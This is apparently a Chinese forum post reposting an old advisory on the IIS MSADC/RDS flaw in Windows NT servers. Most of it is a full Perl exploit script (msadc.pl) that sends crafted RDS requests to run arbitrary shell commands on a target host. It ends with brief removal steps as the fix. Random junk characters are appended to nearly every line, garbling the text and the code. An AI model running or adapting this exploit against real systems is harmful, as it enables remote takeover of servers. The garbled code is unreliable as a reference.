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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) =mp;.k95  
l#Y,R 0  
涉及程序: orMwAV  
Microsoft NT server aH/ k Ua  
FSW_<%  
描述: X!dYdWw*m  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 ;P%1j|7  
_C[q4?  
详细: F%D.zvKN  
如果你没有时间读详细内容的话,就删除: 9H`XeQ.  
c:\Program Files\Common Files\System\Msadc\msadcs.dll sZ/v^ xk  
有关的安全问题就没有了。 GH:jH]u!V  
]R f[y  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 zL`iK"N`  
MC.) 2B7  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ofw3S |F6  
关于利用ODBC远程漏洞的描述,请参看: V7fq4O^:  
::{Q1F  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 2?ez,*-[  
UIN<2F_  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 hAnPXiD  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp >rKIG~P_  
!0LWa"  
这里不再论述。 My[pr_xg  
;LSANr&  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: MPg)=LI  
c>:wd@w  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 9} M?P  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! Hp!-248S  
k],Q9  
rgtT~$S  
#将下面这段保存为txt文件,然后: "perl -x 文件名" =BAW[%1b  
0 e ~JMUb  
#!perl Z!zF\<r  
# 3/e.38m|  
# MSADC/RDS 'usage' (aka exploit) script 7XLtN "$$  
# -Xm'dwm  
# by rain.forest.puppy RF4vtQC=  
# 9FYUo  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me tKx~1-  
# beta test and find errors! Nk VK  
/,&<6c-Q@W  
use Socket; use Getopt::Std; [<6^qla  
getopts("e:vd:h:XR", \%args); FX`>J6l:X  
KD7dye  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Tg)| or/ %  
O6a<`]F  
if (!defined $args{h} && !defined $args{R}) { wX5tp1 ?1J  
print qq~ ipgC RHE  
Usage: msadc.pl -h <host> { -d <delay> -X -v } j8{i#;s!"  
-h <host> = host you want to scan (ip or domain) qqr?!vem6  
-d <seconds> = delay between calls, default 1 second f:|1_j  
-X = dump Index Server path table, if available 6J6BF%  
-v = verbose .A{tQ1&_  
-e = external dictionary file for step 5 QIvVcfM^  
{e9@-  
Or a -R will resume a command session JZ*/,|1}EC  
ju8q?Nyhs  
~; exit;} bj0G5dc=  
A_ N;   
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 0c'<3@39k|  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} KNpl:g3{<Q  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} yyRiP|hJ  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); '(yAfL 9}  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} g:D>.lKd  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } -)]Yr #Q  
e~[/i\  
if (!defined $args{R}){ $ret = &has_msadc; L Mbn  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} [{<`o5qR  
[-k  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" =9["+;\e&  
. "cmd /c "; LW'D?p#  
$in=<STDIN>; chomp $in; FR4QUk  
$command="cmd /c " . $in ; pW@Pt 3u  
JG!mc7  
if (defined $args{R}) {&load; exit;} `maKN\;  
,+vy,<e&  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; R_ ,UMt  
&try_btcustmr; 2U\u4N O{  
K'Tm_"[u  
print "\nStep 2: Trying to make our own DSN..."; ," Wr"  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; Z/;(f L  
>WQMqQ^t@  
print "\nStep 3: Trying known DSNs..."; Mxsa-?R;v  
&known_dsn; k,E{C{^M  
EZy)A$|  
print "\nStep 4: Trying known .mdbs..."; QP^Cx=  
&known_mdb; l7259Ro~  
]&xk30  
if (defined $args{e}){ otl0J Ht*+  
print "\nStep 5: Trying dictionary of DSN names..."; _jI,)sr4ic  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } AOWmzu{zw  
z Rl3KjET  
print "Sorry Charley...maybe next time?\n"; :W:K:lk  
exit; lhz{1P]s  
qL&[K>2z  
############################################################################## }Jve cRtg1  
DV+xg3\(>1  
sub sendraw { # ripped and modded from whisker ox>^>wR*  
sleep($delay); # it's a DoS on the server! At least on mine... .TMs bZ|j  
my ($pstr)=@_; ^aMg/.j  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || g\(G\ tnu>  
die("Socket problems\n"); 4 \K7xM!  
if(connect(S,pack "SnA4x8",2,80,$target)){ S)k*?dQ##R  
select(S); $|=1; *1 ]uH e  
print $pstr; my @in=<S>; EXwo,?I  
select(STDOUT); close(S); oMD>Yw c-  
return @in; 1i"WDu*h3  
} else { die("Can't connect...\n"); }} 5k3n\sqZA  
<fjX[l<Uz  
############################################################################## {3p4:*}  
Av$^  
sub make_header { # make the HTTP request 7 60Y$/Wz  
my $msadc=<<EOT ?m=N]!n  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ./k/KSR  
User-Agent: ACTIVEDATA =wHVsdNCN  
Host: $ip axRV:w;E<  
Content-Length: $clen [b<oDX#  
Connection: Keep-Alive |zNX=mAV  
_AYK435>N  
ADCClientVersion:01.06 o\<ULW*  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 *@r/5pM2}  
69?wc!  
--!ADM!ROX!YOUR!WORLD! Un(aW=PQ0  
Content-Type: application/x-varg vNY{j7l/W  
Content-Length: $reqlen ooL!TS GD  
bv9]\qC]T<  
EOT }[};IqVaK  
; $msadc=~s/\n/\r\n/g; ^q vbqfh  
return $msadc;} N/'b$m5= S  
3cyHfpx-W  
############################################################################## p8H'{f\G  
.fFCC`&T  
sub make_req { # make the RDS request A*R^n}sh  
my ($switch, $p1, $p2)=@_; ZW8vza  
my $req=""; my $t1, $t2, $query, $dsn; y8Z_Itlf  
}wjw:M  
if ($switch==1){ # this is the btcustmr.mdb query "3"V3w  
$query="Select * from Customers where City=" . make_shell(); cAqLE\h  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . vq0Tk bzs  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 2dcV"lY  
 E`0?  
elsif ($switch==2){ # this is general make table query UA0Bzoky;  
$query="create table AZZ (B int, C varchar(10))"; 9y8&9<#  
$dsn="$p1";} ]z;I _-  
Yty/3T3)e  
elsif ($switch==3){ # this is general exploit table query Mj?`j_X  
$query="select * from AZZ where C=" . make_shell(); 4qbBc1,7y  
$dsn="$p1";} /P3 <"?#k  
R)( T^V`{  
elsif ($switch==4){ # attempt to hork file info from index server :WS@=sZN  
$query="select path from scope()"; B =T'5&  
$dsn="Provider=MSIDXS;";} >`mVY=H i  
L>&t|T2  
elsif ($switch==5){ # bad query gHEu/8E  
$query="select"; x0D*U?A  
$dsn="$p1";} sPQQ"|wU  
[{,T.;'<j  
$t1= make_unicode($query); Apag{Z]^B  
$t2= make_unicode($dsn); L>NL:68yN  
$req = "\x02\x00\x03\x00"; sA/D]W.P  
$req.= "\x08\x00" . pack ("S1", length($t1)); "]x'PI 4J  
$req.= "\x00\x00" . $t1 ; Y%aCMP9j~9  
$req.= "\x08\x00" . pack ("S1", length($t2)); PfD.:amN7  
$req.= "\x00\x00" . $t2 ; ~i{(<.he  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";  c(E{6g?  
return $req;} e/&{v8Hmb  
]BZA:dd.G  
############################################################################## f=Gg9bnm3  
&|ex`nwc0  
sub make_shell { # this makes the shell() statement y0.'?6k  
return "'|shell(\"$command\")|'";} z}9(x.I  
w"|L:8  
############################################################################## 0 [# 3;a  
a=1@*ID  
sub make_unicode { # quick little function to convert to unicode NC`aP0S  
my ($in)=@_; my $out; nFe<w  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } q=m'^ ,gPS  
return $out;} aQcleTb  
$am$ EU?s  
############################################################################## Xp% v.M  
wqs? 828x  
sub rdo_success { # checks for RDO return success (this is kludge) Hqx-~hQO  
my (@in) = @_; my $base=content_start(@in); e@ 07  
if($in[$base]=~/multipart\/mixed/){ hJ? O],4J  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} [`[|l  
return 0;} B eo@K|3GN  
Tc:)- z[o  
############################################################################## @4#c&h 3  
({)+3]x  
sub make_dsn { # this makes a DSN for us fc3{sZE2M  
my @drives=("c","d","e","f"); [;yOBF  
print "\nMaking DSN: "; W:nef<WH  
foreach $drive (@drives) { 3m)0z{n  
print "$drive: "; gp?uHKsM  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . `r':by0M  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" D|p9qe5%  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 9};8?mucr  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;  _,0  
return 0 if $2 eq "404"; # not found/doesn't exist $G+@_'  
if($2 eq "200") {  vF+7V*<  
foreach $line (@results) { n\D&!y[]F  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} vX"*4m>b?+  
} return 0;} ~<5!?6Yt  
"| g>'wM*  
############################################################################## @%uUiP0  
@ioJ] $o7  
sub verify_exists { E_wCN&`[  
my ($page)=@_; 6l1jMm|= X  
my @results=sendraw("GET $page HTTP/1.0\n\n"); g2ixx+`?|:  
return $results[0];} lU\ [aNs  
]^7@}Ce_  
############################################################################## h"Q8b}$^)  
wv1iSfW  
sub try_btcustmr { 5m 4P\y^a  
my @drives=("c","d","e","f"); q!7ANib6O  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ]|a g  
,PW'#U:  
foreach $dir (@dirs) { i)#dWFDTv  
print "$dir -> "; # fun status so you can see progress P>D)7 V9Hh  
foreach $drive (@drives) { $( kF#  
print "$drive: "; # ditto 0i>5<ej,f  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; SHgN~ Um  
$reqlenlen=length( "$reqlen" ); lgy <?LI\  
$clen= 206 + $reqlenlen + $reqlen; *OsQ}onv  
5Ln,{vsv  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); exUFS5d  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 7S :\"A7  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ?e4YGOe.  
{\1?ZrCI&  
############################################################################## k]|~>9eY]  
J!(<y(l  
sub odbc_error { Qd{CMm x  
my (@in)=@_; my $base; AV]2 euyn  
my $base = content_start(@in); 8/#A!Ww]  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 3;9^  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; h7oo7AP  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; !9e=_mY  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ^[`%&uj!g  
return $in[$base+4].$in[$base+5].$in[$base+6];} %aCqi(.7  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; G~a ZJ,  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . _ 4~+{l+  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} Bk c4TO  
fTec  
##############################################################################  8dA~\a  
eo?bL$A[s  
sub verbose { *?vCC+c  
my ($in)=@_; sl l\g  
return if !$verbose; g$-PR37(  
print STDOUT "\n$in\n";} qe#tj/aZ  
hi( ;;C9  
############################################################################## !f [_+CD  
"&u@d~`-n  
sub save { H*R"ntI?w  
my ($p1, $p2, $p3, $p4)=@_; ^^$s%{ep"  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; IEi^kJflU  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; U7F!Z( 9  
close OUT;} 90rol~M&  
=UQ3HQD  
############################################################################## \}b%E'+_T  
vvMT}-!  
sub load { CAhXQ7w'Z  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; gr2U6gi  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); FW4<5~'  
@p=<IN>; close(IN); W{+2/P  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 3nQ`]5.Q w  
$target= inet_aton($ip) || die("inet_aton problems"); #c!lS<z  
print "Resuming to $ip ..."; Ld~/u]K%V  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; C&%_a~  
if($p[1]==1) { cm+Es6;  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; TD0 B%  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; W ac&b  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); XpHrt XD  
if (rdo_success(@results)){print "Success!\n";} va@Lz&sAE%  
else { print "failed\n"; verbose(odbc_error(@results));}} wP@(?z  
elsif ($p[1]==3){ kTgEd]^&D  
if(run_query("$p[3]")){ _`T_">9r  
print "Success!\n";} else { print "failed\n"; }} S,UDezxg  
elsif ($p[1]==4){ +r2-S~f3N  
if(run_query($drvst . "$p[3]")){ CA~-rv  
print "Success!\n"; } else { print "failed\n"; }} ?6U0PChy  
exit;} R-$!9mnr  
_Fl9>C"u  
############################################################################## U[MA)41  
)ez9"# MH'  
sub create_table { W|mo5qrLS2  
my ($in)=@_; m-, x<bM?  
$reqlen=length( make_req(2,$in,"") ) - 28; PJH&  
$reqlenlen=length( "$reqlen" ); GD$l| |8  
$clen= 206 + $reqlenlen + $reqlen; )y$(AJx$  
my @results=sendraw(make_header() . make_req(2,$in,""));  qX{+oy5  
return 1 if rdo_success(@results); li.;IWb0+)  
my $temp= odbc_error(@results); verbose($temp); m{HS0l'  
return 1 if $temp=~/Table 'AZZ' already exists/; U Cjld  
return 0;} n:!_  
`|q(h Ow2  
############################################################################## ~]2K ^bh8&  
+ ePS14G  
sub known_dsn { kxv1Hn"`{E  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go YaqJ,"GlT  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", hwv/AnX~O  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",  \4fQMG  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); .Q 2V}D85  
rey!{3U  
foreach $dSn (@dsns) { Avb\{)s+  
print "."; ' `Hr}  
next if (!is_access("DSN=$dSn")); i XjM.G  
if(create_table("DSN=$dSn")){ ?Ir:g=RP*  
print "$dSn successful\n"; f@!.mDm]  
if(run_query("DSN=$dSn")){ i/Zd8+.n$  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { -iZ`Y?  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 3Y$GsN4ln  
#H~64/  
############################################################################## ~t~|"u"P  
0g8NHkM:2a  
sub is_access { K-Ef%a2#`  
my ($in)=@_; ]Y&VT7+Z  
$reqlen=length( make_req(5,$in,"") ) - 28; ;$g?T~v7  
$reqlenlen=length( "$reqlen" ); V'gh 6`v  
$clen= 206 + $reqlenlen + $reqlen; 5{,<j\#L  
my @results=sendraw(make_header() . make_req(5,$in,"")); 9pfIzs su3  
my $temp= odbc_error(@results); 8quaXVj^a  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); Z% UP6%  
return 0;} ox.F%)eQ  
8}:nGK|kx  
############################################################################## h<QY5=S F  
V0mn4sfs  
sub run_query { ]`WJOx4  
my ($in)=@_; 1'8YkhQ2a  
$reqlen=length( make_req(3,$in,"") ) - 28; Nh +H9  
$reqlenlen=length( "$reqlen" ); 5z)~\;[ -  
$clen= 206 + $reqlenlen + $reqlen; }Q+|W=2t  
my @results=sendraw(make_header() . make_req(3,$in,"")); N;%6:I./  
return 1 if rdo_success(@results); [:*)XeRK  
my $temp= odbc_error(@results); verbose($temp); _+MJ%'>S  
return 0;} ns4,@C$  
I> $&-i  
############################################################################## OY({.uVdX  
FS1z`wYP  
sub known_mdb { E]r?{t`]  
my @drives=("c","d","e","f","g"); w0unS`\4  
my @dirs=("winnt","winnt35","winnt351","win","windows"); r3?o9D>  
my $dir, $drive, $mdb; YS_; OFsd  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ^iYj[~  
Wd ELV3  
# this is sparse, because I don't know of many *LY8D<:zs  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Z;"vW!%d  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", f|(M.U-  
"\\system32\\certmdb.mdb", 6Kz,{F@  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% x,' !gT:j  
K*dCc}:`  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", @C aG9]  
"\\cfusion\\cfapps\\forums\\forums_.mdb", G3v5KmT  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb",  %;!.n{X  
"\\cfusion\\cfapps\\security\\realm_.mdb", Y_P!B^z3  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", |y!A&d=xYn  
"\\cfusion\\database\\cfexamples.mdb", mX|ojZ  
"\\cfusion\\database\\cfsnippets.mdb", 7{Wny&[0  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", dAj$1Ke  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", Znv,9-  
"\\cfusion\\brighttiger\\database\\cleam.mdb", I%Z  
"\\cfusion\\database\\smpolicy.mdb", 3Zh)]^  
"\\cfusion\\database\cypress.mdb", lu/ (4ED  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", BJ(M2|VH  
"\\website\\cgi-win\\dbsample.mdb", OZ;*JR:  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", =2x^nW  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" zbPqYhJzA  
); #these are just \73ch  
foreach $drive (@drives) { apxph2yvS  
foreach $dir (@dirs){ u]@['7  
foreach $mdb (@sysmdbs) { wz8yD8M  
print "."; ^<AwG=  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ +"VP-s0  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; +"@ .8m  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ (7*}-Uy[C  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; /Ci<xmP  
} else { print "Something's borked. Use verbose next time\n"; }}}}} <a+Z;>  
a' IdYW0  
foreach $drive (@drives) { ? =+WRjF  
foreach $mdb (@mdbs) { E_LN]v  
print "."; 4KrL{Z+}  
if(create_table($drv . $drive . $dir . $mdb)){ T6k0>[3xf  
print "\n" . $drive . $dir . $mdb . " successful\n"; T[A 69O]v  
if(run_query($drv . $drive . $dir . $mdb)){ Ga'swP=hf  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; WX0tgXl  
} else { print "Something's borked. Use verbose next time\n"; }}}} ?z u8)U  
} ig &Y  
E4xa[iZ  
############################################################################## I<tm"?q0  
8\gjST*  
sub hork_idx { v.5+7,4  
print "\nAttempting to dump Index Server tables...\n"; )dSi/  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 4X|zmr:A  
$reqlen=length( make_req(4,"","") ) - 28; SX-iAS[<  
$reqlenlen=length( "$reqlen" ); T]p-0?=4vv  
$clen= 206 + $reqlenlen + $reqlen; W@!S%Y9  
my @results=sendraw2(make_header() . make_req(4,"","")); ;9g2?-svw  
if (rdo_success(@results)){ OZ!^ak  
my $max=@results; my $c; my %d; 4E?Oky#}-  
for($c=19; $c<$max; $c++){ 6LZ;T.0o  
$results[$c]=~s/\x00//g; S21,VpW\  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 0SPk|kr  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; dcT80sOC  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; */DO ex"y  
$d{"$1$2"}="";} {1 94!S4z  
foreach $c (keys %d){ print "$c\n"; } 0qT%!ku&  
} else {print "Index server doesn't seem to be installed.\n"; }} Wo ,?+I  
29q _BR *:  
############################################################################## `@|$,2[C  
^sg,\zD 'X  
sub dsn_dict { C"enpc_C/  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); W*w3 [_"sr  
while(<IN>){ WMP,\=6k0  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; kO-(~];  
next if (!is_access("DSN=$dSn")); S 6,.FYH  
if(create_table("DSN=$dSn")){ B?o7e<l[  
print "$dSn successful\n"; #cLBQJq  
if(run_query("DSN=$dSn")){ N)>ID(}F1  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Zj4Uak  
print "Something's borked. Use verbose next time\n";}}} GowH]MO  
print "\n"; close(IN);} jlg(drTo  
>&#)Tqt!?  
############################################################################## H 7 ^/q7  
D|#E9OQzs  
sub sendraw2 { # ripped and modded from whisker o%*xvH*A  
sleep($delay); # it's a DoS on the server! At least on mine... 6\S~P/PkE  
my ($pstr)=@_; Pr,q*_Yy  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || *HB-QIl  
die("Socket problems\n"); /,Jqmm#s^  
if(connect(S,pack "SnA4x8",2,80,$target)){ R_xRp&5  
print "Connected. Getting data"; /|#fejPh  
open(OUT,">raw.out"); my @in; t);/'3|  
select(S); $|=1; print $pstr; Vs{|xG7W D  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} e(8Ba X _  
close(OUT); select(STDOUT); close(S); return @in; IdxzE_@  
} else { die("Can't connect...\n"); }} W'TaBuCb  
pcI uN  
############################################################################## ]"1DGg \A  
9 JK Ew  
sub content_start { # this will take in the server headers bK-N:8Z  
my (@in)=@_; my $c; maR"t+  
for ($c=1;$c<500;$c++) { eQvg7aO;  
if($in[$c] =~/^\x0d\x0a/){ -o EW:~y  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 5QO9Q]I#_\  
else { return $c+1; }}} Jqi%|,/]N  
return -1;} # it should never get here actually -C&P%tt Y  
vgN&K@hJ  
############################################################################## N$:8 ,9.z  
w"&n?L  
sub funky { eGbG w  
my (@in)=@_; my $error=odbc_error(@in); |IUWF%~^$+  
if($error=~/ADO could not find the specified provider/){ BJo*'US-Q  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; mU9kVx1+  
exit;} ^L&iR0  
if($error=~/A Handler is required/){ jOD?|tK&  
print "\nServer has custom handler filters (they most likely are patched)\n"; ib791  
exit;} _2 osV[e  
if($error=~/specified Handler has denied Access/){ N=g"(%  
print "\nServer has custom handler filters (they most likely are patched)\n"; SOvF[,+  
exit;}} `n?DU;,  
R .2wqkY  
############################################################################## Ef13Q]9|  
0S$N05  
sub has_msadc { =zs`#-^8  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); t9IW/Q  
my $base=content_start(@results); 57'4ljvYi  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); U_c*6CK  
return 0;} DkAAV9*  
@49S`  
######################## 0Pi:N{x8  
&~U ]~;@  
N_q|\S>t/  
解决方案: %3''}Y5  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll P J[`|  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 [0D .K}7|  
BsYa3d=}  
拿出来充数 哈哈
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